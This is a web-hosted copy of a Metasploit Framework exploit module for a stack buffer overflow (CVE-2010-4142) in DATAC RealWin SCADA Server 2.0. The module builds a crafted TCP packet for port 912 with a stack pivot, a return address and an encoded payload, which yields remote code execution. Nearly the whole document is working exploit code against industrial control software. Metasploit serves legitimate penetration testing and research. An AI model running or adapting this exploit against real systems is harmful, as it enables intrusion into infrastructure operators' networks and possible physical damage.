Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/realwin_scpc_txtevent.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'DATAC RealWin SCADA Server SCPC_TXTEVENT Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in DATAC Control
18
International RealWin SCADA Server 2.0 (Build 6.1.8.10).
19
By sending a specially crafted packet,
20
an attacker may be able to execute arbitrary code.
21
},
22
'Author' => [ 'Luigi Auriemma', 'MC' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
[ 'CVE', '2010-4142'],
26
[ 'OSVDB', '68812'],
27
],
28
'Privileged' => true,
29
'DefaultOptions' => {
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' => {
33
'Space' => 550,
34
'BadChars' => "\x00\x20\x0a\x0d",
35
'StackAdjustment' => -3500,
36
},
37
'Platform' => 'win',
38
'Targets' => [
39
[ 'Universal', { 'Pivot' => 0x40017fc2, 'Ret' => 0x4001f6d0 } ],
40
],
41
'DefaultTarget' => 0,
42
'DisclosureDate' => '2010-11-18',
43
'Notes' => {
44
'Reliability' => UNKNOWN_RELIABILITY,
45
'Stability' => UNKNOWN_STABILITY,
46
'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
}
48
)
49
)
50
51
register_options([Opt::RPORT(912)])
52
end
53
54
def exploit
55
connect
56
57
data = [0x6a541264].pack('V')
58
data << [0x00000010].pack('V')
59
data << [0x00001ff4].pack('V')
60
data << rand_text_alpha_upper(164)
61
data << [target['Pivot']].pack('V')
62
data << rand_text_alpha_upper(16)
63
data << [target.ret].pack('V')
64
data << payload.encoded
65
data << rand_text_alpha_upper(10024 - payload.encoded.length)
66
67
print_status("Trying target #{target.name}...")
68
sock.put(data)
69
70
handler
71
disconnect
72
end
73
end
74
75